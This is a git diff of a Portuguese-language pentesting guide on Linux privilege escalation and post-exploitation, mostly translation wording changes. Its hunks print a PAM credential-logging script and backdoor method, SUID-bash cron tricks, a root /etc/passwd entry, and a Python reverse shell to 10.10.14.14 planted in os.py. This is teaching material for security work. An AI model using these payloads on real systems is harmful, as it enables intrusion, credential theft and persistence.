Uma **função** é composta por várias **privilegios**, cada um dos quais abrange uma coleção de **permissões**. Essas funções podem ser atribuídas a Usuários, Grupos de Usuários, **Hosts**, Grupos de Hosts e Serviços. Por exemplo, considere a função padrão “Administrador de Usuários” no FreeIPA para exemplificar essa estrutura.
A função `Administrador de Usuários` tem esses privilégios:

12
src/linux-hardening/linux-post-exploitation/README.md
View File

@ -18,7 +18,7 @@ Módulos de Autenticação Pluggable (PAM) oferecem flexibilidade na gestão da
**Capturando Credenciais:**
- Um script bash chamado `toomanysecrets.sh` é criado para registrar tentativas de login, capturando a data, nome de usuário (`$PAM_USER`), senha (via stdin) e IP do host remoto (`$PAM_RHOST`) em `/var/log/toomanysecrets.log`.
- O script é tornado executável e integrado à configuração do PAM (`common-auth`) usando o módulo `pam_exec.so` com opções para executar silenciosamente e expor o token de autenticação ao script.
- O script é tornado executável e integrado à configuração do PAM (`common-auth`) usando o módulo `pam_exec.so` com opções para rodar silenciosamente e expor o token de autenticação ao script.
- A abordagem demonstra como um host Linux comprometido pode ser explorado para registrar credenciais de forma discreta.
```bash
#!/bin/sh
@ -37,17 +37,17 @@ O Módulo de Autenticação Pluggable (PAM) é um sistema usado no Linux para au
**Objetivo**: Modificar o PAM para permitir a autenticação com uma senha específica, contornando a senha real do usuário. Isso é particularmente focado na biblioteca compartilhada `pam_unix.so` usada pelo arquivo `common-auth`, que é incluído por quase todos os serviços para verificação de senha.
### Passos para Modificar `pam_unix.so`:
### Etapas para Modificar `pam_unix.so`:
1. **Localizar a Diretiva de Autenticação** no arquivo `common-auth`:
- A linha responsável por verificar a senha de um usuário chama `pam_unix.so`.
2. **Modificar o Código Fonte**:
- Adicione uma instrução condicional no arquivo de código fonte `pam_unix_auth.c` que concede acesso se uma senha predefinida for usada; caso contrário, prossegue com o processo de autenticação usual.
3. **Recompilar e Substituir** a biblioteca `pam_unix.so` modificada no diretório apropriado.
- Adicione uma instrução condicional no arquivo de código fonte `pam_unix_auth.c` que concede acesso se uma senha predefinida for usada, caso contrário, prossegue com o processo de autenticação usual.
3. **Recompilar e Substituir** a biblioteca modificada `pam_unix.so` no diretório apropriado.
4. **Teste**:
- O acesso é concedido em vários serviços (login, ssh, sudo, su, screensaver) com a senha predefinida, enquanto os processos normais de autenticação permanecem inalterados.
- O acesso é concedido em vários serviços (login, ssh, sudo, su, protetor de tela) com a senha predefinida, enquanto os processos normais de autenticação permanecem inalterados.
> [!NOTE]
> [!TIP]
> Você pode automatizar esse processo com [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor)
{{#include ../../banners/hacktricks-training.md}}

83
src/linux-hardening/privilege-escalation/README.md
View File

@ -73,9 +73,9 @@ De @sickrov
```
sudo -u#-1 /bin/bash
```
### Dmesg assinatura de verificação falhou
### Dmesg verificação de assinatura falhou
Verifique a **caixa smasher2 do HTB** para um **exemplo** de como essa vulnerabilidade pode ser explorada
Verifique a **caixa smasher2 do HTB** para um **exemplo** de como essa vulnerabilidade pode ser explorada.
```bash
dmesg 2>/dev/null | grep "signature"
```
@ -86,7 +86,7 @@ date 2>/dev/null #Date
lscpu #CPU info
lpstat -a 2>/dev/null #Printers info
```
## Enumere as defesas possíveis
## Enumerar possíveis defesas
### AppArmor
```bash
@ -144,7 +144,7 @@ Enumere binários úteis
```bash
which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null
```
Além disso, verifique se **algum compilador está instalado**. Isso é útil se você precisar usar algum exploit de kernel, pois é recomendável compilá-lo na máquina onde você vai usá-lo (ou em uma semelhante).
Além disso, verifique se **algum compilador está instalado**. Isso é útil se você precisar usar algum exploit de kernel, pois é recomendado compilá-lo na máquina onde você vai usá-lo (ou em uma semelhante).
```bash
(dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/")
```
@ -168,7 +168,7 @@ ps aux
ps -ef
top -n 1
```
Sempre verifique se há possíveis [**depuradores electron/cef/chromium**] em execução, você pode abusar disso para escalar privilégios](electron-cef-chromium-debugger-abuse.md). **Linpeas** detecta isso verificando o parâmetro `--inspect` dentro da linha de comando do processo.\
Sempre verifique se há possíveis [**electron/cef/chromium debuggers** em execução, você pode abusar disso para escalar privilégios](electron-cef-chromium-debugger-abuse.md). **Linpeas** detecta isso verificando o parâmetro `--inspect` dentro da linha de comando do processo.\
Além disso, **verifique seus privilégios sobre os binários dos processos**, talvez você possa sobrescrever alguém.
### Monitoramento de processos
@ -178,8 +178,8 @@ Você pode usar ferramentas como [**pspy**](https://github.com/DominicBreuker/ps
### Memória do processo
Alguns serviços de um servidor salvam **credenciais em texto claro dentro da memória**.\
Normalmente, você precisará de **privilegios de root** para ler a memória de processos que pertencem a outros usuários, portanto, isso é geralmente mais útil quando você já é root e deseja descobrir mais credenciais.\
No entanto, lembre-se de que **como um usuário regular, você pode ler a memória dos processos que possui**.
Normalmente, você precisará de **privilégios de root** para ler a memória de processos que pertencem a outros usuários, portanto, isso geralmente é mais útil quando você já é root e deseja descobrir mais credenciais.\
No entanto, lembre-se de que **como um usuário comum, você pode ler a memória dos processos que possui**.
> [!WARNING]
> Note que atualmente a maioria das máquinas **não permite ptrace por padrão**, o que significa que você não pode despejar outros processos que pertencem ao seu usuário sem privilégios.
@ -189,7 +189,7 @@ No entanto, lembre-se de que **como um usuário regular, você pode ler a memór
> - **kernel.yama.ptrace_scope = 0**: todos os processos podem ser depurados, desde que tenham o mesmo uid. Esta é a maneira clássica de como o ptracing funcionava.
> - **kernel.yama.ptrace_scope = 1**: apenas um processo pai pode ser depurado.
> - **kernel.yama.ptrace_scope = 2**: apenas o administrador pode usar ptrace, pois requer a capacidade CAP_SYS_PTRACE.
> - **kernel.yama.ptrace_scope = 3**: Nenhum processo pode ser rastreado com ptrace. Uma vez definido, um reinício é necessário para habilitar o ptracing novamente.
> - **kernel.yama.ptrace_scope = 3**: Nenhum processo pode ser rastreado com ptrace. Uma vez definido, é necessário reiniciar para habilitar o ptracing novamente.
#### GDB
@ -334,7 +334,7 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
#Wait cron job to be executed
/tmp/bash -p #The effective uid and gid to be set to the real uid and gid
```
### Cron usando um script com um caractere curinga (Injeção de Curinga)
### Cron usando um script com um curinga (Injeção de Curinga)
Se um script executado pelo root tiver um “**\***” dentro de um comando, você pode explorar isso para fazer coisas inesperadas (como privesc). Exemplo:
```bash
@ -342,7 +342,8 @@ rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh mys
```
**Se o caractere curinga for precedido de um caminho como** _**/some/path/\***_ **, não é vulnerável (mesmo** _**./\***_ **não é).**
Leia a página a seguir para mais truques de exploração de curingas:
Leia a página a seguir para mais truques de exploração de caracteres curinga:
{{#ref}}
wildcards-spare-tricks.md
@ -350,7 +351,7 @@ wildcards-spare-tricks.md
### Sobrescrita de script cron e symlink
Se você **pode modificar um script cron** executado pelo root, pode obter um shell muito facilmente:
Se você **pode modificar um script cron** executado pelo root, você pode obter um shell muito facilmente:
```bash
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > </PATH/CRON/SCRIPT>
#Wait until it is executed
@ -403,23 +404,23 @@ Então, crie um **executável** com o **mesmo nome que o caminho relativo do bin
**Saiba mais sobre serviços com `man systemd.service`.**
## **Temporizadores**
## **Timers**
**Temporizadores** são arquivos de unidade systemd cujo nome termina em `**.timer**` que controlam arquivos ou eventos `**.service**`. **Temporizadores** podem ser usados como uma alternativa ao cron, pois têm suporte embutido para eventos de tempo de calendário e eventos de tempo monótono e podem ser executados de forma assíncrona.
**Timers** são arquivos de unidade do systemd cujo nome termina em `**.timer**` que controlam arquivos ou eventos `**.service**`. **Timers** podem ser usados como uma alternativa ao cron, pois têm suporte embutido para eventos de tempo de calendário e eventos de tempo monótono e podem ser executados de forma assíncrona.
Você pode enumerar todos os temporizadores com:
Você pode enumerar todos os timers com:
```bash
systemctl list-timers --all
```
### Writable timers
Se você puder modificar um timer, poderá fazê-lo executar algumas instâncias de systemd.unit (como um `.service` ou um `.target`)
Se você puder modificar um timer, pode fazê-lo executar algumas instâncias de systemd.unit (como um `.service` ou um `.target`)
```bash
Unit=backdoor.service
```
Na documentação, você pode ler o que é a Unidade:
> A unidade a ser ativada quando este temporizador expirar. O argumento é um nome de unidade, cujo sufixo não é ".timer". Se não especificado, este valor padrão é um serviço que tem o mesmo nome que a unidade do temporizador, exceto pelo sufixo. (Veja acima.) É recomendável que o nome da unidade que é ativada e o nome da unidade do temporizador tenham nomes idênticos, exceto pelo sufixo.
> A unidade a ser ativada quando este temporizador expirar. O argumento é um nome de unidade, cujo sufixo não é ".timer". Se não especificado, este valor padrão é um serviço que tem o mesmo nome que a unidade do temporizador, exceto pelo sufixo. (Veja acima.) É recomendável que o nome da unidade que é ativada e o nome da unidade do temporizador sejam nomeados de forma idêntica, exceto pelo sufixo.
Portanto, para abusar dessa permissão, você precisaria:
@ -446,7 +447,7 @@ Os sockets podem ser configurados usando arquivos `.socket`.
**Saiba mais sobre sockets com `man systemd.socket`.** Dentro deste arquivo, vários parâmetros interessantes podem ser configurados:
- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Essas opções são diferentes, mas um resumo é usado para **indicar onde ele vai escutar** o socket (o caminho do arquivo de socket AF_UNIX, o IPv4/6 e/ou número da porta para escutar, etc.)
- `Accept`: Aceita um argumento booleano. Se **true**, uma **instância de serviço é criada para cada conexão recebida** e apenas o socket de conexão é passado para ele. Se **false**, todos os sockets de escuta são **passados para a unidade de serviço iniciada**, e apenas uma unidade de serviço é criada para todas as conexões. Este valor é ignorado para sockets de datagrama e FIFOs onde uma única unidade de serviço lida incondicionalmente com todo o tráfego recebido. **O padrão é false**. Por razões de desempenho, é recomendado escrever novos daemons apenas de uma forma que seja adequada para `Accept=no`.
- `Accept`: Aceita um argumento booleano. Se **true**, uma **instância de serviço é gerada para cada conexão recebida** e apenas o socket de conexão é passado para ele. Se **false**, todos os sockets de escuta são **passados para a unidade de serviço iniciada**, e apenas uma unidade de serviço é gerada para todas as conexões. Este valor é ignorado para sockets de datagrama e FIFOs onde uma única unidade de serviço lida incondicionalmente com todo o tráfego recebido. **O padrão é false**. Por razões de desempenho, é recomendado escrever novos daemons apenas de uma forma que seja adequada para `Accept=no`.
- `ExecStartPre`, `ExecStartPost`: Aceita uma ou mais linhas de comando, que são **executadas antes** ou **depois** que os **sockets**/FIFOs de escuta são **criados** e vinculados, respectivamente. O primeiro token da linha de comando deve ser um nome de arquivo absoluto, seguido por argumentos para o processo.
- `ExecStopPre`, `ExecStopPost`: Comandos adicionais que são **executados antes** ou **depois** que os **sockets**/FIFOs de escuta são **fechados** e removidos, respectivamente.
- `Service`: Especifica o nome da unidade de **serviço** **a ser ativada** no **tráfego recebido**. Esta configuração é permitida apenas para sockets com Accept=no. O padrão é o serviço que tem o mesmo nome que o socket (com o sufixo substituído). Na maioria dos casos, não deve ser necessário usar esta opção.
@ -475,6 +476,7 @@ socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of
```
**Exemplo de exploração:**
{{#ref}}
socket-command-injection.md
{{#endref}}
@ -562,7 +564,7 @@ runc-privilege-escalation.md
## **D-Bus**
D-Bus é um sofisticado **sistema de Comunicação Interprocessos (IPC)** que permite que aplicativos interajam e compartilhem dados de forma eficiente. Projetado com o sistema Linux moderno em mente, oferece uma estrutura robusta para diferentes formas de comunicação entre aplicativos.
D-Bus é um sofisticado **sistema de Comunicação Inter-Processos (IPC)** que permite que aplicativos interajam e compartilhem dados de forma eficiente. Projetado com o sistema Linux moderno em mente, oferece uma estrutura robusta para diferentes formas de comunicação entre aplicativos.
O sistema é versátil, suportando IPC básico que melhora a troca de dados entre processos, reminiscentes de **sockets de domínio UNIX aprimorados**. Além disso, ajuda na transmissão de eventos ou sinais, promovendo uma integração perfeita entre os componentes do sistema. Por exemplo, um sinal de um daemon Bluetooth sobre uma chamada recebida pode fazer um reprodutor de música silenciar, melhorando a experiência do usuário. Além disso, o D-Bus suporta um sistema de objetos remotos, simplificando solicitações de serviços e invocações de métodos entre aplicativos, agilizando processos que eram tradicionalmente complexos.
@ -570,7 +572,7 @@ O D-Bus opera em um **modelo de permitir/negar**, gerenciando permissões de men
Um exemplo de tal política em `/etc/dbus-1/system.d/wpa_supplicant.conf` é fornecido, detalhando permissões para o usuário root possuir, enviar e receber mensagens de `fi.w1.wpa_supplicant1`.
Políticas sem um usuário ou grupo especificado se aplicam universalmente, enquanto as políticas de contexto "padrão" se aplicam a todos que não estão cobertos por outras políticas específicas.
Políticas sem um usuário ou grupo especificado se aplicam universalmente, enquanto políticas de contexto "padrão" se aplicam a todos que não estão cobertos por outras políticas específicas.
```xml
<policy user="root">
<allow own="fi.w1.wpa_supplicant1"/>
@ -581,6 +583,7 @@ Políticas sem um usuário ou grupo especificado se aplicam universalmente, enqu
```
**Aprenda como enumerar e explorar uma comunicação D-Bus aqui:**
{{#ref}}
d-bus-enumeration-and-command-injection-privilege-escalation.md
{{#endref}}
@ -660,6 +663,7 @@ Algumas versões do Linux foram afetadas por um bug que permite que usuários co
Verifique se você é **membro de algum grupo** que poderia conceder privilégios de root:
{{#ref}}
interesting-groups-linux-pe/
{{#endref}}
@ -687,14 +691,14 @@ Se você **sabe alguma senha** do ambiente **tente fazer login como cada usuári
### Su Brute
Se não se importar em fazer muito barulho e os binários `su` e `timeout` estiverem presentes no computador, você pode tentar forçar a entrada de usuários usando [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\
Se você não se importa em fazer muito barulho e os binários `su` e `timeout` estão presentes no computador, você pode tentar forçar a entrada de usuários usando [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\
[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) com o parâmetro `-a` também tenta forçar a entrada de usuários.
## Abusos de PATH gravável
### $PATH
Se você descobrir que pode **escrever dentro de alguma pasta do $PATH**, pode ser capaz de escalar privilégios **criando um backdoor dentro da pasta gravável** com o nome de algum comando que será executado por um usuário diferente (idealmente root) e que **não é carregado de uma pasta que está localizada antes** da sua pasta gravável no $PATH.
Se você descobrir que pode **escrever dentro de alguma pasta do $PATH** você pode ser capaz de escalar privilégios **criando um backdoor dentro da pasta gravável** com o nome de algum comando que será executado por um usuário diferente (idealmente root) e que **não é carregado de uma pasta que está localizada antes** da sua pasta gravável no $PATH.
### SUDO e SUID
@ -901,10 +905,12 @@ O projeto coleta funções legítimas de binários Unix que podem ser abusadas p
> strace -o /dev/null /bin/sh\
> sudo awk 'BEGIN {system("/bin/sh")}'
{{#ref}}
https://gtfobins.github.io/
{{#endref}}
{{#ref}}
https://gtfoargs.github.io/
{{#endref}}
@ -1009,6 +1015,7 @@ Isso significa que os arquivos de configuração de `/etc/ld.so.conf.d/*.conf` s
Se por algum motivo **um usuário tem permissões de escrita** em qualquer um dos caminhos indicados: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, qualquer arquivo dentro de `/etc/ld.so.conf.d/` ou qualquer pasta dentro do arquivo de configuração em `/etc/ld.so.conf.d/*.conf`, ele pode ser capaz de escalar privilégios.\
Dê uma olhada em **como explorar essa má configuração** na página a seguir:
{{#ref}}
ld.so.conf-example.md
{{#endref}}
@ -1071,16 +1078,16 @@ setfacl -m u:kali:rw file.txt
setfacl -b file.txt #Remove the ACL of the file
```
**Obtenha** arquivos com ACLs específicas do sistema:
**Obter** arquivos com ACLs específicas do sistema:
```bash
getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null
```
## Abrir sessões de shell
## Open shell sessions
Em **versões antigas**, você pode **sequestar** algumas sessões de **shell** de um usuário diferente (**root**).\
Em **versões mais recentes**, você poderá **conectar-se** apenas às sessões de tela do **seu próprio usuário**. No entanto, você pode encontrar **informações interessantes dentro da sessão**.
Em **versões antigas** você pode **sequestar** algumas **sessões de shell** de um usuário diferente (**root**).\
Em **versões mais recentes** você poderá **conectar-se** apenas às sessões de tela do **seu próprio usuário**. No entanto, você pode encontrar **informações interessantes dentro da sessão**.
### sequestro de sessões de tela
### screen sessions hijacking
**Listar sessões de tela**
```bash
@ -1124,7 +1131,7 @@ Verifique a **caixa de Valentine do HTB** para um exemplo.
### Debian OpenSSL PRNG Previsível - CVE-2008-0166
Todas as chaves SSL e SSH geradas em sistemas baseados em Debian (Ubuntu, Kubuntu, etc) entre setembro de 2006 e 13 de maio de 2008 podem ser afetadas por esse bug.\
Esse bug é causado ao criar uma nova chave ssh nesses SO, pois **apenas 32.768 variações eram possíveis**. Isso significa que todas as possibilidades podem ser calculadas e **tendo a chave pública ssh você pode procurar pela chave privada correspondente**. Você pode encontrar as possibilidades calculadas aqui: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)
Esse bug é causado ao criar uma nova chave ssh nesses sistemas operacionais, pois **apenas 32.768 variações eram possíveis**. Isso significa que todas as possibilidades podem ser calculadas e **tendo a chave pública ssh, você pode procurar pela chave privada correspondente**. Você pode encontrar as possibilidades calculadas aqui: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)
### Valores de configuração interessantes do SSH
@ -1147,7 +1154,7 @@ Especifica arquivos que contêm as chaves públicas que podem ser usadas para au
```bash
AuthorizedKeysFile .ssh/authorized_keys access
```
Essa configuração indicará que, se você tentar fazer login com a **chave privada** do usuário "**testusername**", o ssh irá comparar a chave pública da sua chave com as localizadas em `/home/testusername/.ssh/authorized_keys` e `/home/testusername/access`.
Essa configuração indicará que, se você tentar fazer login com a **chave privada** do usuário "**testusername**", o ssh irá comparar a chave pública da sua chave com as que estão localizadas em `/home/testusername/.ssh/authorized_keys` e `/home/testusername/access`.
### ForwardAgent/AllowAgentForwarding
@ -1158,7 +1165,7 @@ Você precisa definir essa opção em `$HOME/.ssh.config` assim:
Host example.com
ForwardAgent yes
```
Observe que se `Host` for `*`, toda vez que o usuário pular para uma máquina diferente, esse host poderá acessar as chaves (o que é um problema de segurança).
Note que se `Host` for `*`, toda vez que o usuário pular para uma máquina diferente, esse host poderá acessar as chaves (o que é um problema de segurança).
O arquivo `/etc/ssh_config` pode **substituir** essas **opções** e permitir ou negar essa configuração.\
O arquivo `/etc/sshd_config` pode **permitir** ou **negar** o encaminhamento do ssh-agent com a palavra-chave `AllowAgentForwarding` (o padrão é permitir).
@ -1173,7 +1180,7 @@ ssh-forward-agent-exploitation.md
### Arquivos de Perfis
O arquivo `/etc/profile` e os arquivos sob `/etc/profile.d/` são **scripts que são executados quando um usuário inicia um novo shell**. Portanto, se você puder **escrever ou modificar qualquer um deles, poderá escalar privilégios**.
O arquivo `/etc/profile` e os arquivos sob `/etc/profile.d/` são **scripts que são executados quando um usuário inicia um novo shell**. Portanto, se você puder **escrever ou modificar qualquer um deles, você pode escalar privilégios**.
```bash
ls -l /etc/profile /etc/profile.d/
```
@ -1192,7 +1199,7 @@ Em algumas ocasiões, você pode encontrar **password hashes** dentro do arquivo
```bash
grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
```
### Gravável /etc/passwd
### Writable /etc/passwd
Primeiro, gere uma senha com um dos seguintes comandos.
```
@ -1204,7 +1211,7 @@ Então adicione o usuário `hacker` e adicione a senha gerada.
```
hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash
```
Exemplo: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash`
Ex.: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash`
Agora você pode usar o comando `su` com `hacker:hacker`
@ -1216,7 +1223,7 @@ su - dummy
```
NOTA: Em plataformas BSD, `/etc/passwd` está localizado em `/etc/pwd.db` e `/etc/master.passwd`, além disso, o `/etc/shadow` é renomeado para `/etc/spwd.db`.
Você deve verificar se pode **escrever em alguns arquivos sensíveis**. Por exemplo, você pode escrever em algum **arquivo de configuração de serviço**?
Você deve verificar se consegue **escrever em alguns arquivos sensíveis**. Por exemplo, você pode escrever em algum **arquivo de configuração de serviço**?
```bash
find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody
for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user
@ -1235,7 +1242,7 @@ As seguintes pastas podem conter backups ou informações interessantes: **/tmp*
```bash
ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root
```
### Arquivos de Localização Estranha/Propriedade
### Arquivos em Localizações Estranhas/Propriedade
```bash
#root owned files in /home folders
find /home -user root 2>/dev/null
@ -1292,7 +1299,7 @@ Leia o código do [**linPEAS**](https://github.com/carlospolop/privilege-escalat
### Logs
Se você puder ler logs, pode ser capaz de encontrar **informações interessantes/confidenciais dentro deles**. Quanto mais estranho o log, mais interessante ele será (provavelmente).\
Além disso, alguns logs de **auditoria** "**mal**" configurados (com backdoor?) podem permitir que você **registre senhas** dentro dos logs de auditoria, conforme explicado neste post: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/).
Além disso, alguns **logs de auditoria** "**mal**" configurados (com backdoor?) podem permitir que você **registre senhas** dentro dos logs de auditoria, conforme explicado neste post: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/).
```bash
aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g"
grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null
@ -1325,7 +1332,7 @@ Para **backdoor a biblioteca**, basta adicionar ao final da biblioteca os.py a s
```python
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
```
### Exploração do logrotate
### Exploração do Logrotate
Uma vulnerabilidade no `logrotate` permite que usuários com **permissões de escrita** em um arquivo de log ou em seus diretórios pai potencialmente ganhem privilégios elevados. Isso ocorre porque o `logrotate`, frequentemente executado como **root**, pode ser manipulado para executar arquivos arbitrários, especialmente em diretórios como _**/etc/bash_completion.d/**_. É importante verificar as permissões não apenas em _/var/log_, mas também em qualquer diretório onde a rotação de logs é aplicada.
@ -1344,7 +1351,7 @@ Esta vulnerabilidade é muito semelhante a [**CVE-2016-1247**](https://www.cvede
Se, por qualquer motivo, um usuário conseguir **escrever** um script `ifcf-<qualquer>` em _/etc/sysconfig/network-scripts_ **ou** puder **ajustar** um existente, então seu **sistema está comprometido**.
Scripts de rede, como _ifcg-eth0_, são usados para conexões de rede. Eles se parecem exatamente com arquivos .INI. No entanto, eles são \~sourced\~ no Linux pelo Network Manager (dispatcher.d).
Scripts de rede, _ifcg-eth0_ por exemplo, são usados para conexões de rede. Eles se parecem exatamente com arquivos .INI. No entanto, eles são \~sourced\~ no Linux pelo Network Manager (dispatcher.d).
No meu caso, o `NAME=` atribuído nesses scripts de rede não é tratado corretamente. Se você tiver **espaço em branco no nome, o sistema tenta executar a parte após o espaço em branco**. Isso significa que **tudo após o primeiro espaço em branco é executado como root**.
@ -1428,7 +1435,7 @@ cisco-vmanage.md
## Frameworks de rooting Android: abuso de canal de gerenciador
Frameworks de rooting Android geralmente interceptam uma syscall para expor funcionalidades privilegiadas do kernel a um gerenciador de espaço de usuário. A autenticação fraca do gerenciador (por exemplo, verificações de assinatura baseadas na ordem FD ou esquemas de senha fracos) pode permitir que um aplicativo local se passe pelo gerenciador e escale para root em dispositivos já com root. Saiba mais e detalhes de exploração aqui:
Frameworks de rooting Android geralmente interceptam uma syscall para expor funcionalidades privilegiadas do kernel a um gerenciador de espaço de usuário. A autenticação fraca do gerenciador (por exemplo, verificações de assinatura baseadas na ordem FD ou esquemas de senha fracos) pode permitir que um aplicativo local se passe pelo gerenciador e escale para root em dispositivos já com root. Aprenda mais e detalhes de exploração aqui:
{{#ref}}
android-rooting-frameworks-manager-auth-bypass-syscall-hook.md

2
src/linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation.md
View File

@ -35,7 +35,7 @@ Você pode executar um contêiner privilegiado como:
```bash
ctr run --privileged --net-host -t registry:5000/modified-ubuntu:latest ubuntu bash
```
Então você pode usar algumas das técnicas mencionadas na página a seguir para **escapar dela abusando de capacidades privilegiadas**:
Então você pode usar algumas das técnicas mencionadas na página a seguir para **escapar disso abusando de capacidades privilegiadas**:
{{#ref}}
docker-security/

43
src/linux-hardening/privilege-escalation/docker-security/README.md
View File

@ -10,14 +10,14 @@ O **Docker engine** utiliza os **Namespaces** e **Cgroups** do kernel Linux para
### Acesso Seguro ao Docker Engine
O Docker engine pode ser acessado localmente através de um socket Unix ou remotamente usando HTTP. Para acesso remoto, é essencial empregar HTTPS e **TLS** para garantir confidencialidade, integridade e autenticação.
O Docker engine pode ser acessado localmente via um socket Unix ou remotamente usando HTTP. Para acesso remoto, é essencial empregar HTTPS e **TLS** para garantir confidencialidade, integridade e autenticação.
O Docker engine, por padrão, escuta no socket Unix em `unix:///var/run/docker.sock`. Em sistemas Ubuntu, as opções de inicialização do Docker são definidas em `/etc/default/docker`. Para habilitar o acesso remoto à API e ao cliente do Docker, exponha o daemon do Docker através de um socket HTTP adicionando as seguintes configurações:
```bash
DOCKER_OPTS="-D -H unix:///var/run/docker.sock -H tcp://192.168.56.101:2376"
sudo service docker restart
```
No entanto, expor o daemon do Docker via HTTP não é recomendado devido a preocupações de segurança. É aconselhável proteger as conexões usando HTTPS. Existem duas abordagens principais para proteger a conexão:
No entanto, expor o daemon do Docker via HTTP não é recomendado devido a preocupações de segurança. É aconselhável proteger as conexões usando HTTPS. Existem duas abordagens principais para garantir a conexão:
1. O cliente verifica a identidade do servidor.
2. Tanto o cliente quanto o servidor autenticam mutuamente a identidade um do outro.
@ -34,7 +34,7 @@ As imagens de contêiner podem ser armazenadas em repositórios privados ou púb
### Análise de Imagens
Os contêineres podem ter **vulnerabilidades de segurança** tanto por causa da imagem base quanto por causa do software instalado sobre a imagem base. O Docker está trabalhando em um projeto chamado **Nautilus** que faz a análise de segurança de contêineres e lista as vulnerabilidades. O Nautilus funciona comparando cada camada da imagem do contêiner com o repositório de vulnerabilidades para identificar falhas de segurança.
Os contêineres podem ter **vulnerabilidades de segurança** tanto por causa da imagem base quanto por causa do software instalado sobre a imagem base. O Docker está trabalhando em um projeto chamado **Nautilus** que faz a análise de segurança dos Contêineres e lista as vulnerabilidades. O Nautilus funciona comparando cada camada da imagem do Contêiner com o repositório de vulnerabilidades para identificar falhas de segurança.
Para mais [**informações leia isso**](https://docs.docker.com/engine/scan/).
@ -73,7 +73,7 @@ clair-scanner -w example-alpine.yaml --ip YOUR_LOCAL_IP alpine:3.5
A assinatura de imagem Docker garante a segurança e integridade das imagens usadas em contêineres. Aqui está uma explicação condensada:
- **Docker Content Trust** utiliza o projeto Notary, baseado no The Update Framework (TUF), para gerenciar a assinatura de imagens. Para mais informações, veja [Notary](https://github.com/docker/notary) e [TUF](https://theupdateframework.github.io).
- Para ativar a confiança de conteúdo do Docker, defina `export DOCKER_CONTENT_TRUST=1`. Este recurso está desativado por padrão nas versões do Docker 1.10 e posteriores.
- Para ativar a confiança de conteúdo do Docker, defina `export DOCKER_CONTENT_TRUST=1`. Este recurso está desativado por padrão na versão 1.10 do Docker e posteriores.
- Com este recurso ativado, apenas imagens assinadas podem ser baixadas. O envio inicial da imagem requer a definição de senhas para as chaves raiz e de tag, com o Docker também suportando Yubikey para segurança aprimorada. Mais detalhes podem ser encontrados [aqui](https://blog.docker.com/2015/11/docker-content-trust-yubikey/).
- Tentar puxar uma imagem não assinada com a confiança de conteúdo ativada resulta em um erro "No trust data for latest".
- Para envios de imagem após o primeiro, o Docker solicita a senha da chave do repositório para assinar a imagem.
@ -96,21 +96,21 @@ Em ambientes containerizados, isolar projetos e seus processos é fundamental pa
**Namespaces**
- **Propósito**: Garantir o isolamento de recursos como processos, rede e sistemas de arquivos. Particularmente no Docker, os namespaces mantêm os processos de um contêiner separados do host e de outros contêineres.
- **Propósito**: Garantir o isolamento de recursos como processos, rede e sistemas de arquivos. Particularmente no Docker, namespaces mantêm os processos de um contêiner separados do host e de outros contêineres.
- **Uso do `unshare`**: O comando `unshare` (ou a syscall subjacente) é utilizado para criar novos namespaces, proporcionando uma camada adicional de isolamento. No entanto, enquanto o Kubernetes não bloqueia isso inherentemente, o Docker o faz.
- **Limitação**: Criar novos namespaces não permite que um processo retorne aos namespaces padrão do host. Para penetrar nos namespaces do host, normalmente seria necessário acesso ao diretório `/proc` do host, usando `nsenter` para entrada.
**Grupos de Controle (CGroups)**
- **Função**: Usado principalmente para alocar recursos entre processos.
- **Aspecto de Segurança**: Os CGroups em si não oferecem segurança de isolamento, exceto pelo recurso `release_agent`, que, se mal configurado, poderia ser potencialmente explorado para acesso não autorizado.
